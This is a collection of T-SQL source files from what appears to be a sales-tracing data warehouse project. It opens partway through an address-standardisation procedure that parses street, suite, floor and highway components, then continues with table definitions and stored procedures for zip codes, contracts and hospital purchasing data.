FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A ON
STAGE.fnLastWord(LEFT(ADDR_1,LEN(WB_1)- LEN(STAGE.fnLastWord(WB_1)))) = A.ADDR_VAR
AND A.CAT = 'ADDR2_KEEP' AND A.SUB_CAT = 'SUITE'
AND A.REC_ACT_IN = 'Y'
WHERE
stage.fnwordcount(WB_1) >2
AND C.STAT_1_CD = 9
AND C.STE_NR IS NULL
OPTION (MERGE JOIN);
--- the purpose of stat_1_cd = 9 is done -- back to zero
UPDATE MDM_STAGE.TEMP_ADDR SET STAT_1_CD = 0 WHERE STAT_1_CD = 9;
---------------------- END OF TAKING THE SUITE, BLDG, FLOOR OUT FROM ADDR 1 ---------------------
-------------------------------
-- NOW TAKE THE DIRECTION OUT
------------------------------
UPDATE C SET
DIR_2 = ltrim(rtrim(A.ADDR_STD)),
WB_1 = STAGE.fnGet_FirstPart(WB_1,LEN(WB_1)-LEN(A.ADDR_VAR))
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A ON STAGE.fnLastWord(WB_1) = A.ADDR_VAR
AND A.CAT = 'DIRECTION'
OPTION (MERGE JOIN);
------------------------------------------------
-- Break apart the address
-- Take STR_NR for all Records and adjust ST_NM
-------------------------------------------------
UPDATE MDM_STAGE.TEMP_ADDR SET
ST_NR = STAGE.fnFirstWord(WB_1),
ST_NM = STAGE.fnSecondPart(WB_1, LEN(STAGE.fnFirstWord(WB_1))+1)
WHERE ISNUMERIC(LEFT(WB_1,1)) = 1;
UPDATE C SET
ST_TYP = ADDR_STD,
ST_NM = STAGE.fnGet_FirstPart(ST_NM, (LEN(ST_NM) - LEN(A.ADDR_STD)-1)),
STAT_1_CD = 1
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A
ON STAGE.fnLastWord(WB_1) = A.ADDR_VAR AND A.CAT IN ('Roadway','Location')
WHERE ST_NR IS NOT NULL
AND STAGE.fnWordCount(ST_NM)>1
OPTION (MERGE JOIN);
UPDATE MDM_STAGE.TEMP_ADDR SET
STAT_2_CD = 1
WHERE WB_2 IS NULL AND STAT_1_CD = 1 ;
/*
-- AGAIN TAKE THE COMPLETELY GOOD ONES OUT
UPDATE C
SET STAT_1_CD = 1
FROM MDM_STAGE.TEMP_ADDR C
JOIN ( SELECT DISTINCT ADDR_STD FROM REF.ADDR_STD WHERE CAT IN ('Roadway','Location')) A
ON STAGE.fnLastWord(WB_1) = A.ADDR_STD
WHERE
ISNUMERIC(STAGE.fnFirstWord(WB_1)) = 1
AND STAT_1_CD = 9
OPTION (MERGE JOIN) ;
-- 9 SEC, 303k
UPDATE MDM_STAGE.TEMP_ADDR SET
STAT_2_CD = 1
WHERE WB_2 IS NULL AND STAT_1_CD = 1 ;
-- 1 SEC 298K
UPDATE MDM_STAGE.TEMP_ADDR SET
STAT_2_CD = 0 WHERE LEN(STE_NR) > 9;
-- move second chunk of god records
INSERT INTO MDM_STAGE.TEMP_ADDR_PARTS ( SRC_ID, ST_NR,ST_NM, ST_TYP, ST_DIR, BLDG_NR, FL_NR, STE_NR )
SELECT
SRC_ID,
STAGE.fnFirstWord(WB_1),
STAGE.fnMiddlePart(WB_1,STAGE.fnFirstWord(WB_1),STAGE.fnLastWord(WB_1) ),
STAGE.fnLastWord(WB_1),
BLDG_NR, FL_NR, STE_NR,
DIR_2
FROM MDM_STAGE.TEMP_ADDR
WHERE STAT_1_CD = 1 AND STAT_2_CD = 1;
-- 25 sec, 297K
DELETE FROM MDM_STAGE.TEMP_ADDR
WHERE STAT_1_CD = 1 AND STAT_2_CD = 1;
-- 5 SEC
*/
-- 528k left
-- 252 k has issue with addr_2
----------------------------------------
--- STEP: CLEANSE ADDR 2
----------------------------------------
-- REMOVE # from WB_2
UPDATE MDM_STAGE.TEMP_ADDR SET
WB_2 = STAGE.fnRemoveSpace(REPLACE(WB_2,'#',' '))
-- 12 SEC, 528k
UPDATE MDM_STAGE.TEMP_ADDR SET WB_2 = STAGE.fnRemoveSpace(REPLACE(REPLACE(REPLACE(WB_2,' NO ',' '),' NR ',' '),' NUMBER ',' '));
UPDATE MDM_STAGE.TEMP_ADDR SET WB_2 = STAGE.fnRemoveSpace(REPLACE(REPLACE(REPLACE(WB_2,'(',' '),'-',' '),':',' '));
-- 6 SEC, 528k
UPDATE C SET
C.STE_NR = STAGE.fnSecondWord(WB_2),
C.WB_2 = STAGE.fnSecondPart(C.WB_2 , len(STAGE.fnFirstWord(WB_2)+' '+STAGE.fnSecondWord(WB_2))+1),
C.STAT_2_CD = 101
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A ON STAGE.fnFirstWord(WB_2) = A.ADDR_VAR
AND A.CAT = 'ADDR2_KEEP' AND A.SUB_CAT = 'SUITE'
WHERE
C.STAT_2_CD = 0
AND WB_2 IS NOT NULL
OPTION(MERGE JOIN);
-- 12 sec - 518 K
-- Building
UPDATE C SET
C.BLDG_NR = STAGE.fnSecondWord(WB_2),
C.WB_2 = STAGE.fnSecondPart(C.WB_2 , len(STAGE.fnFirstWord(WB_2)+' '+STAGE.fnSecondWord(WB_2))+1),
C.STAT_2_CD = 102
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A ON STAGE.fnFirstWord(WB_2) = A.ADDR_VAR
AND A.CAT = 'ADDR2_KEEP' AND A.SUB_CAT = 'BUILDING'
WHERE C.STAT_2_CD = 0
AND WB_2 IS NOT NULL
OPTION(MERGE JOIN);
-- 3 SEC, 8.3 k
-- Floor
UPDATE C SET
C.FL_NR = STAGE.fnLastWord(ADDR_STD),
C.WB_2 = STAGE.fnSecondPart(C.WB_2 , len(STAGE.fnFirstWord(WB_2)+' '+STAGE.fnSecondWord(WB_2))+1),
C.STAT_2_CD = 103
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A ON STAGE.fnFirstWord(WB_2)+' '+STAGE.fnSecondWord(WB_2) = A.ADDR_VAR
AND A.CAT = 'ADDR2_KEEP' AND A.SUB_CAT = 'FLOOR'
WHERE C.STAT_2_CD = 0
AND WB_2 IS NOT NULL
OPTION(MERGE JOIN);
-------------------------------------------------------------
-- We need to repeat these one more time - to fully cleanse it
-------------------------------------------------------------
UPDATE C SET
C.STE_NR = STAGE.fnSecondWord(WB_2),
C.WB_2 = STAGE.fnSecondPart(C.WB_2 , len(STAGE.fnFirstWord(WB_2)+' '+STAGE.fnSecondWord(WB_2))+1),
C.STAT_2_CD = 121
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A ON STAGE.fnFirstWord(WB_2) = A.ADDR_VAR
AND A.CAT = 'ADDR2_KEEP' AND A.SUB_CAT = 'SUITE'
WHERE C.STAT_2_CD > 100
AND WB_2 IS NOT NULL
OPTION(MERGE JOIN);
-- 1 sec - 6k
-- Building
UPDATE C SET
C.BLDG_NR = STAGE.fnSecondWord(WB_2),
C.WB_2 = STAGE.fnSecondPart(C.WB_2 , len(STAGE.fnFirstWord(WB_2)+' '+STAGE.fnSecondWord(WB_2))+1),
C.STAT_2_CD = 122
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A ON STAGE.fnFirstWord(WB_2) = A.ADDR_VAR
AND A.CAT = 'ADDR2_KEEP' AND A.SUB_CAT = 'BUILDING'
WHERE C.STAT_2_CD > 100
AND WB_2 IS NOT NULL
OPTION(MERGE JOIN);
-- 1 sec - 358 rec
-- Floor
UPDATE C SET
C.FL_NR = STAGE.fnLastWord(ADDR_STD),
C.WB_2 = STAGE.fnSecondPart(C.WB_2 , len(STAGE.fnFirstWord(WB_2)+' '+STAGE.fnSecondWord(WB_2))+1),
C.STAT_2_CD = 123
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A ON STAGE.fnFirstWord(WB_2)+' '+STAGE.fnSecondWord(WB_2) = A.ADDR_VAR
AND A.CAT = 'ADDR2_KEEP' AND A.SUB_CAT = 'FLOOR'
WHERE C.STAT_2_CD > 100
AND WB_2 IS NOT NULL
OPTION(MERGE JOIN);
-- 1 sec, 604
UPDATE MDM_STAGE.TEMP_ADDR SET
STE_NR = WB_2,
WB_2 = NULL,
STAT_2_CD = 131
WHERE STAT_2_CD = 0
AND stage.fnwordcount(WB_2) = 1
AND ISNUMERIC(WB_2) = 1
OPTION(MERGE JOIN);
-- 1 SEC, 50k
UPDATE MDM_STAGE.TEMP_ADDR SET STE_NR = STAGE.fnFirstWord(STAGE.fnRemoveSpace(REPLACE(REPLACE(REPLACE(STE_NR,'(',' '),'-',' '),':',' ')));
--- MOVE the third chunk --
--SELECT COUNT(*) FROM MDM_STAGE.TEMP_ADDR
--WHERE STAT_1_CD = 1 AND STAT_2_CD > 100
INSERT INTO MDM_STAGE.TEMP_ADDR_PARTS ( SRC_ID, ST_NR,ST_NM, ST_TYP, ST_DIR, BLDG_NR, FL_NR, STE_NR )
SELECT
SRC_ID,
STAGE.fnFirstWord(WB_1),
STAGE.fnMiddlePart(WB_1,STAGE.fnFirstWord(WB_1),STAGE.fnLastWord(WB_1) ),
STAGE.fnLastWord(WB_1),
BLDG_NR, FL_NR, STE_NR,
DIR_2
FROM MDM_STAGE.TEMP_ADDR
WHERE STAT_1_CD = 1 AND STAT_2_CD > 100
AND LEN(STE_NR)<10 AND LEN(BLDG_NR)<10;
DELETE FROM MDM_STAGE.TEMP_ADDR
WHERE STAT_1_CD = 1 AND STAT_2_CD > 100
AND LEN(STE_NR)<10 AND LEN(BLDG_NR)<10;
-- 5 SEC
-----------------------------------------------------------------------
-- BLDG,STE, FLOOR Inside ADDR_2, instead of at the begining --
-----------------------------------------------------------------------
UPDATE C SET
C.STE_NR = STAGE.fnNEXTWORD (WB_2,A.ADDR_VAR),
C.WB_2 = REPLACE(C.WB_2 , A.ADDR_VAR+' '+STAGE.fnNEXTWORD (WB_2,A.ADDR_VAR),''),
C.STAT_2_CD = 141
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A ON WB_2 LIKE '% '+A.ADDR_VAR+' %'
AND A.CAT = 'ADDR2_KEEP' AND A.SUB_CAT = 'SUITE'
WHERE stage.fnwordcount(WB_2) > 1;
-- 1 MIN -- 1946
UPDATE C SET
C.FL_NR = STAGE.fnLastWord (A.ADDR_STD),
C.WB_2 = REPLACE(C.WB_2, A.ADDR_VAR,''),
C.STAT_2_CD = 142
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A ON WB_2 LIKE '% '+A.ADDR_VAR+'%'
AND A.CAT = 'ADDR2_KEEP' AND A.SUB_CAT = 'FLOOR'
WHERE stage.fnwordcount(WB_2) > 1;
-- 27 SEC 5K
UPDATE C SET
C.BLDG_NR = STAGE.fnNEXTWORD (WB_2,A.ADDR_VAR),
C.WB_2 = REPLACE(C.WB_2 , A.ADDR_VAR+' '+STAGE.fnNEXTWORD (WB_2,A.ADDR_VAR),''),
C.STAT_2_CD = 143
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A ON WB_2 LIKE '% '+A.ADDR_VAR+' %'
AND A.CAT = 'ADDR2_KEEP' AND A.SUB_CAT = 'BUILDING'
WHERE stage.fnwordcount(WB_2) > 1;
-- 33 SEC, 33K
----------------- END OF EXTRACTIN ADDR 2 - BLDG, STE, FL ------------
----------------------------------------
-- ADDR 1 is inside ADDR 2
-- MARK THE POTENTIAL ADDR_1 as 99
-------------------------------------------
UPDATE C
SET STAT_2_CD = 99
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A
ON STAGE.fnLastWord(WB_2) = A.ADDR_VAR AND CAT IN ('Roadway','Location')
WHERE ISNUMERIC(LEFT(STAGE.fnFirstWord(WB_2),1)) = 1
OPTION (MERGE JOIN) ;
-- 3 SEC -- 8K
--DELETE FROM MDM_STAGE.TEMP_ADDR WHERE STAT_2_CD = 0
-- last word is numeric - highway
--there is number after road - ste , except after state, county, us, (numeric)
--last letter char or hiphen between two numbers there could be directin in it
--keep the rest as is
-- REMOVE # - SUITES FROM WB - COULD BE MOVED UP
UPDATE MDM_STAGE.TEMP_ADDR SET
STE_NR = STAGE.fnLastWord(WB_1),
WB_1 = STAGE.fnGet_FirstPart(WB_1, (LEN(WB_1)-LEN('# '+STAGE.fnLastWord(WB_1))) )
WHERE STAGE.fnLastWord(LEFT(ADDR_1,LEN(WB_1)- LEN(STAGE.fnLastWord(WB_1)))) = '#'
AND stage.fnwordcount(WB_1) >2
AND STAT_1_CD = 0
-- REMOVE ANY BLDG, STE ETC INSIDE ADDR_1
UPDATE C SET
C.STE_NR = STAGE.fnNEXTWORD (WB_1,A.ADDR_VAR),
C.WC_1 = STAGE.fnSecondPart(C.WB_1, CHARINDEX(' '+ADDR_VAR,WB_1)), -- Temporairly saving it, in case there is roadway in it.
C.WB_1 = STAGE.fnGet_FirstPart(C.WB_1, CHARINDEX(' '+ADDR_VAR,WB_1)) ,
STAT_1_CD= 201
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A ON WB_1 LIKE '% '+A.ADDR_VAR+'%'
AND A.CAT = 'ADDR2_KEEP' AND A.SUB_CAT = 'SUITE' AND A.ADDR_VAR <> 'ST'
WHERE stage.fnwordcount(WB_1) > 2
AND STAT_1_CD = 0 ;
UPDATE C SET
C.BLDG_NR = STAGE.fnNEXTWORD (WB_1,A.ADDR_VAR),
C.WC_1 = STAGE.fnSecondPart(C.WB_1, CHARINDEX(' '+ADDR_VAR,WB_1)), -- Temporairly saving it, in case there is roadway in it.
C.WB_1 = STAGE.fnGet_FirstPart(C.WB_1, CHARINDEX(' '+ADDR_VAR,WB_1)) ,
STAT_1_CD= 211
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A ON WB_1 LIKE '% '+A.ADDR_VAR+'%'
AND A.CAT = 'ADDR2_KEEP' AND A.SUB_CAT = 'BUILDING'
WHERE stage.fnwordcount(WB_1) > 2
AND STAT_1_CD =0;
-- Fix any issue of breaking good record
UPDATE C SET
C.WB_1 = WB_1 + WC_1,
STAT_1_CD= 203
FROM MDM_STAGE.TEMP_ADDR C
JOIN
REF.ADDR_STD A ON (STAGE.fnLastWord(WC_1) = A.ADDR_VAR
OR WC_1 LIKE '% '+A.ADDR_VAR+' %')
AND A.CAT = 'Roadway'
WHERE STAT_1_CD > 200 ;
-- RESET WILD COLUMN
UPDATE MDM_STAGE.TEMP_ADDR SET WC_1 = NULL
--------------------------------------------
-- Break apart the address
-- TAKE STR_NR for all Records
----------------------------------------------
UPDATE MDM_STAGE.TEMP_ADDR SET
ST_NR = STAGE.fnFirstWord(WB_1),
WB_1 = STAGE.fnSecondPart(WB_1, LEN(STAGE.fnFirstWord(WB_1))+1)
WHERE ISNUMERIC(LEFT(STAGE.fnFirstWord(WB_1),1)) = 1;
--- Now TAKE THE DIRECTION AND ROASWAY Out if those are roadways
UPDATE C SET
DIR_2 = ltrim(rtrim(A.ADDR_STD)),
WB_1 = STAGE.fnGet_FirstPart(WB_1,LEN(WB_1)-LEN(A.ADDR_VAR))
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A ON STAGE.fnLastWord(WB_1) = A.ADDR_VAR
AND A.CAT = 'DIRECTION'
OPTION (MERGE JOIN);
-- 25 sec
------------------------------------
--- HIGHWAY (A LITTLE TRICKY) --
------------------------------------
-- Take the last two words out first
UPDATE C SET
C.LW_1 = STAGE.fnLastWord(WB_1),
C.LW_2 = STAGE.fnLastWord(LEFT(WB_1,LEN(WB_1)- LEN(STAGE.fnLastWord(WB_1)))),
STAT_1_CD = 401
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A
ON STAGE.fnLastWord(LEFT(WB_1,LEN(WB_1)- LEN(STAGE.fnLastWord(WB_1)))) = A.ADDR_VAR
AND A.SUB_CAT = 'HIGHWAY'
WHERE STAT_1_CD <> 1
AND STAGE.fnWordCount(WB_1)>1
OPTION(MERGE JOIN);
-- COUNTY OR STATE ROAD --
UPDATE C SET
C.LW_1 = STAGE.fnLastWord(WB_1),
C.LW_2 = STAGE.fnLastWord(LEFT(WB_1,LEN(WB_1)- LEN(STAGE.fnLastWord(WB_1)))),
STAT_1_CD = 401
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A
ON STAGE.fnLastWord(LEFT(WB_1,LEN(WB_1)- LEN(STAGE.fnLastWord(WB_1)))) = A.ADDR_VAR
AND A.ADDR_TYP = 'ROAD'
WHERE STAT_1_CD <> 1
AND STAGE.fnWordCount(WB_1)>1
AND (WB_1 LIKE '% COUNTY %' OR WB_1 LIKE '% STATE %' OR WB_1 LIKE '% US %')
OPTION(MERGE JOIN);
-- If there are more than two words extract st_nm, otherwise st name remains null
UPDATE MDM_STAGE.TEMP_ADDR SET
ST_NM = STAGE.fnGet_FirstPart(WB_1, (LEN(WB_1) - LEN(LW_2+' '+LW_1)-1))
WHERE STAGE.fnWordCount(WB_1)>2
AND STAT_1_CD = 401
-- Now stdardaize the highway name
UPDATE C SET
C.LW_2 = A.ADDR_STD
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A
ON C.LW_2 = A.ADDR_VAR AND A.CAT = 'ROADWAY'
WHERE STAT_1_CD = 401
OPTION(MERGE JOIN);
-- TAKE CARE OF THE DIRECTION --
UPDATE C SET
DIR_1 = ltrim(rtrim(A.ADDR_STD)),
ST_NM = STAGE.fnSECONDPart(ST_NM,LEN(A.ADDR_VAR)+1)
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A ON STAGE.fnFirstWord(ST_NM) = A.ADDR_VAR
AND A.CAT = 'DIRECTION'
-- WHERE STAT_1_CD = 401
OPTION (MERGE JOIN);
-- IF DIRECTION IS ACTUALLY PART OF NAME OF A STATE - THEN DO NOT ABBREVIATE
UPDATE MDM_STAGE.TEMP_ADDR SET
DIR_1 = NULL,
ST_NM =
CASE WHEN DIR_1 = 'N' THEN 'NORTH '+ST_NM
WHEN DIR_1 = 'S' THEN 'SOUTH '+ST_NM
ELSE ST_NM END
WHERE STAGE.fnFirstWord(ST_NM) IN ('CAROLINA','DAKOTA') AND DIR_1 IN ('N','S');
UPDATE C SET
DIR_1 = NULL,
ST_NM = 'WEST '+ST_NM
FROM MDM_STAGE.TEMP_ADDR C
WHERE STAGE.fnFirstWord(ST_NM) = 'VIRGINIA' AND C.DIR_1 = 'W';
-- Take care of diffrent vrsion of Us
UPDATE MDM_STAGE.TEMP_ADDR SET ST_NM = REPLACE(ST_NM,'U S','US ')
WHERE STAT_1_CD = 401 AND ADDR_1 LIKE '% U S %';
UPDATE MDM_STAGE.TEMP_ADDR SET ST_NM = REPLACE(ST_NM,'U.S.','US ')
WHERE STAT_1_CD = 401 AND ADDR_1 LIKE '% U.S. %';
-----------------------------------------------------
-- NOW PUT THEM BACK AN GET THE HWY NAME COMPLETED --
-----------------------------------------------------
UPDATE MDM_STAGE.TEMP_ADDR SET
STAT_1_CD = 1,
ST_NM = CASE WHEN ST_NM IS NULL THEN LW_2+' '+LW_1 ELSE ST_NM+' '+LW_2+' '+LW_1 END
WHERE STAT_1_CD = 401;
-----------------------------------------------
-- AVENUE H, or BLVD A --
-----------------------------------------------
UPDATE C SET
ST_NM = REPLACE(WB_1, A.ADDR_VAR, A.ADDR_STD),
STAT_1_CD = 1
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A
ON STAGE.fnFirstWord(WB_1) = A.ADDR_VAR AND CAT = 'Roadway'
OPTION (MERGE JOIN);
----------------------------------------------------------------------------
-- TAKE OUT THE LAST LETTER FROM THE STREET NUMBER
-- as it most likely building number
-- but sometimes there is no space between street number and name - this wil fix that
----------------------------------------------------------------------------
-- Initiate
UPDATE MDM_STAGE.TEMP_ADDR SET WC_1 = NULL, WC_2= NULL
WHERE WC_1 IS NOT NULL OR WC_2 IS NOT NULL ;
-- FIRST TAKE THE NUMERIC PORTION OUT --
UPDATE MDM_STAGE.TEMP_ADDR SET
WC_1 = STAGE.fnGet_NR(ST_NR) ,
STAT_1_CD = 501
WHERE ISNUMERIC(RIGHT(ST_NR,1)) = 0 AND ISNUMERIC(LEFT(ST_NR,1)) = 1
AND RIGHT(ST_NR,2) NOT IN ('TH' ,'ST','ND','RD');
-- Then take the string portion out
UPDATE MDM_STAGE.TEMP_ADDR SET
WC_2 = RIGHT(ST_NR, LEN(ST_NR)-LEN(WC_1))
WHERE STAT_1_CD = 501 ;
-- Could the letter be direction --
UPDATE MDM_STAGE.TEMP_ADDR SET
DIR_1 = WC_2,
WC_2 = NULL
WHERE WC_2 IN ('N','S','E','W','NE','SW','NW','SE') AND DIR_1 IS NULL
AND STAT_1_CD = 501 ;
UPDATE MDM_STAGE.TEMP_ADDR SET
ST_NR_2 = CASE WHEN LEN(WC_2) = 1 THEN WC_2 ELSE ST_NR_2 END,
ST_NM = CASE WHEN LEN(WC_2) > 1 THEN WC_2+' '+ST_NM ELSE ST_NM END,
WC_2 = NULL,
STAT_1_CD = 1
WHERE WC_2 IS NOT NULL AND STAT_1_CD = 501 ;
-- Update with correct street number
UPDATE MDM_STAGE.TEMP_ADDR SET
ST_NR = CASE WHEN RIGHT(WC_1,1) IN ('-','+') THEN LEFT(WC_1, LEN(WC_1)-1) ELSE WC_1 END
WHERE WC_1 IS NOT NULL
-- CLEANSE AGAIN IF THERE IS NO ST_TYP, but there is any st_typ at the end of St_nm
UPDATE C SET
ST_TYP = ADDR_STD,
ST_NM = STAGE.fnGet_FirstPart(ST_NM, (LEN(ST_NM) - LEN(A.ADDR_VAR)-1)),
STAT_1_CD = 1
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A
ON STAGE.fnLastWord(ST_NM) = A.ADDR_VAR AND CAT IN ('Roadway','Location')
WHERE C.ST_TYP IS NULL
AND STAGE.fnWordCount(ST_NM)>1
OPTION (MERGE JOIN);
-- AGAIN ENSURE ALL ST-TYP IS STANDARDIZED
UPDATE C SET
ST_TYP = ADDR_STD,
STAT_1_CD = 1
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A
ON STAGE.fnLastWord(ST_NM) = A.ADDR_VAR AND CAT IN ('Roadway','Location')
WHERE C.ST_TYP <> A.ADDR_STD
OPTION (MERGE JOIN);
-- BREAK APART THE GOOD ONES
UPDATE C SET
ST_TYP = ADDR_STD,
ST_NM = STAGE.fnGet_FirstPart(WB_1, (LEN(WB_1) - LEN(A.ADDR_STD)-1))
FROM MDM_STAGE.TEMP_ADDR C
JOIN (SELECT DISTINCT ADDR_STD FROM REF.ADDR_STD WHERE CAT IN ('Roadway','Location') )A
ON STAGE.fnLastWord(WB_1) = A.ADDR_STD
WHERE C.ST_NM IS NULL
AND STAGE.fnWordCount(WB_1)>1
AND STAT_1_CD = 1
OPTION (MERGE JOIN);
INSERT INTO MDM_STAGE.TEMP_ADDR_PARTS ( SRC_ID, ST_NR, ST_NR_2, ST_NM, ST_TYP, ST_DIR, BLDG_NR, FL_NR, STE_NR )
SELECT --TOP 100
SRC_ID,
ST_NR, ST_NR_2, ST_NM, ST_TYP ,
DIR_2, BLDG_NR, FL_NR, STE_NR
FROM MDM_STAGE.TEMP_ADDR
WHERE STAT_1_CD =1 --AND STAT_2_CD > 0
AND (STE_NR IS NULL OR LEN(STE_NR)<10)
AND (BLDG_NR IS NULL OR LEN(BLDG_NR)<10);
DELETE FROM MDM_STAGE.TEMP_ADDR
WHERE STAT_1_CD =1 --AND STAT_2_CD > 0
AND (STE_NR IS NULL OR LEN(STE_NR)<10)
AND (BLDG_NR IS NULL OR LEN(BLDG_NR)<10);
/*
-- THE REST STAYS THE SAME
UPDATE C SET
ST_NM = REPLACE(WB_1, A.ADDR_VAR, A.ADDR_STD),
STAT_1_CD = 1
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A
ON STAGE.fnFirstWord(WB_1) = A.ADDR_VAR AND CAT = 'Roadway'
OPTION (MERGE JOIN);
*/
END;<file_sep>/PDI_SALESTRACING_DEV/Security/TEMP.sql
CREATE SCHEMA [TEMP]
AUTHORIZATION [NICEPAK\htarafder];
<file_sep>/PDI_SALESTRACING_DEV/REF/Stored Procedures/spLoad_Zip_code.sql
CREATE PROCEDURE [REF].[spLoad_Zip_code]
WITH EXEC AS CALLER
AS
BEGIN
TRUNCATE TABLE REF.ZIP_CODE_FULL;
INSERT INTO REF.ZIP_CODE_FULL (Zipcode, ZipCodeType, City, State, LocationType, TaxReturnsFiled, EstimatedPopulation, TotalWages)
SELECT Zipcode, ZipCodeType, City, State, LocationType, TaxReturnsFiled, EstimatedPopulation, TotalWages FROM STG0.ZIP_CODE;
TRUNCATE TABLE REF.ZIP_CODE;
INSERT INTO REF.ZIP_CODE (Zipcode, ZipCodeType, City, State, LocationType, TaxReturnsFiled, EstimatedPopulation, TotalWages)
SELECT Zipcode, ZipCodeType, City, State, LocationType, TaxReturnsFiled, EstimatedPopulation, TotalWages FROM STG0.ZIP_CODE
WHERE LocationType = 'PRIMARY';
END<file_sep>/PDI_SALESTRACING_DEV/TRC/Stored Procedures/spLOAD_CNT_CORR_XREF.sql
CREATE PROCEDURE [TRC].[spLOAD_CNT_CORR_XREF]
WITH EXEC AS CALLER
AS
BEGIN
TRUNCATE TABLE [STAGE].[TRC_CNT_CORR_XREF];
-- Do not load load any replacement with Tier 2 or above. those canot be applied in general.
-- In furutre, create a separate table for Hogher tier whihc wil include end user company ID - do it after MDM
INSERT INTO STAGE.TRC_CNT_CORR_XREF
( PROD_ID, TRC_CNT_ID, UPD_CNT_ID, UPD_CNT_EXP_DT, TRC_CNT_TYP)
SELECT
DISTINCT T.COITEMID, T.DISTCONTID, T.COCONTID, I.LEXP_DT, I.TRC_CNT_TYP
FROM
STAGE.DDS_PDI_SAF_EXTRACT T,
(
SELECT COITEMID, DISTCONTID, MAX(C.EXP_DATE) LEXP_DT,
CASE WHEN LEFT(DISTCONTID,3) = 'CNT' THEN 'PDI' ELSE 'GPO' END AS TRC_CNT_TYP
FROM
STAGE.DDS_PDI_SAF_EXTRACT S
JOIN STAGE.DIM_CONTRACT C ON S.COCONTID = C.CONTRACT_NO
WHERE DISTCONTID <> COCONTID --AND C.EXP_DATE > GETDATE()
--AND ltrim(rtrim(C.TIER_LEVEL)) IN ('1','Tier 1')
GROUP BY COITEMID, DISTCONTID
) I,
STAGE.DIM_CONTRACT C
WHERE
(T.COITEMID = I.COITEMID AND T.DISTCONTID = I.DISTCONTID )
AND (T.COCONTID = C.CONTRACT_NO AND I.LEXP_DT = C.EXP_DATE)
AND T.DISTCONTID <> T.COCONTID
--AND ltrim(rtrim(C.TIER_LEVEL)) IN ('1','Tier 1')
END<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/PDI_ASC_Purchasing.sql
CREATE TABLE [STAGE].[PDI_ASC_Purchasing] (
[HOSPITAL_ID] INT NULL,
[HOSPITAL_NAME] VARCHAR (MAX) NULL,
[GPO_ID] INT NULL,
[GPO_NAME] VARCHAR (MAX) NULL,
[GPO_TYPE] VARCHAR (MAX) NULL,
[GPO_HQ_CITY] VARCHAR (MAX) NULL,
[GPO_HQ_STATE] VARCHAR (MAX) NULL,
[GPO_HQ_PHONE] VARCHAR (MAX) NULL,
[GPO_HQ_WEBSITE] VARCHAR (MAX) NULL,
[NUM_AFFILIATIONS] INT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/PDI_ASC_Physician_Referrals.sql
CREATE TABLE [STAGE].[PDI_ASC_Physician_Referrals] (
[HOSPITAL_ID] INT NULL,
[HOSPITAL_NAME] VARCHAR (MAX) NULL,
[NPI] INT NULL,
[LAST_NAME] VARCHAR (MAX) NULL,
[FIRST_NAME] VARCHAR (MAX) NULL,
[HQ_CITY] VARCHAR (MAX) NULL,
[HQ_STATE] VARCHAR (MAX) NULL,
[SPECIALTY_PRIMARY] VARCHAR (MAX) NULL,
[PRIMARY_AFFILIATION_HOSPITAL_ID] INT NULL,
[PRIMARY_AFFILIATION_HOSPITAL_NAME] VARCHAR (MAX) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/CNT/Stored Procedures/spGET_PRODUCTS_BY_CNT.sql
CREATE PROCEDURE CNT.spGET_PRODUCTS_BY_CNT
@cntNr varchar(7)
AS
BEGIN
SET NOCOUNT ON;
SELECT
a.CNT_PROD_PK,
a.PROD_ID,b.[PRODUCT_DESC],a.[PROD_PRC]
FROM CONT.CNT_PROD A
JOIN [PROD].[PROD_PRC_COMPARISON] B on a.PROD_ID=b.PROD_ID WHERE
a.[CNT_NR] = @cntNr
AND A.REC_STAT_CD = 'A'
ORDER BY [CURRENT TIMESTAMP] DESC
END
<file_sep>/PDI_SALESTRACING_DEV/TRC/Tables/ERR_CODES.sql
CREATE TABLE [TRC].[ERR_CODES] (
[ERR_CD] VARCHAR (6) NULL,
[ERR_DESC] VARCHAR (255) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/PCM/Tables/PCM_COMM_RESP.sql
CREATE TABLE [PCM].[PCM_COMM_RESP] (
[PCM_COMM_RESP_ID] INT IDENTITY (1, 1) NOT NULL,
[PCM_COMM_ID_FK] INT NOT NULL,
[RESP_REQST_FRM_USR_ID] INT NULL,
[RESP_NEED_BY_DT] DATE NULL,
[RESP_ACTUAL_DT] DATE NULL,
[RESP] VARCHAR (4000) NULL,
[RESP_REQ_STAT_ID] INT NULL,
[ACTIVE_IN] CHAR (1) NULL,
[CREAT_TS] DATETIME NULL,
[LAST_MOD_TS] DATETIME NULL
);
<file_sep>/PDI_SALESTRACING_DEV/CNT/Stored Procedures/spGET_CONTRACT_DETAILS_BY_NUMBER.sql
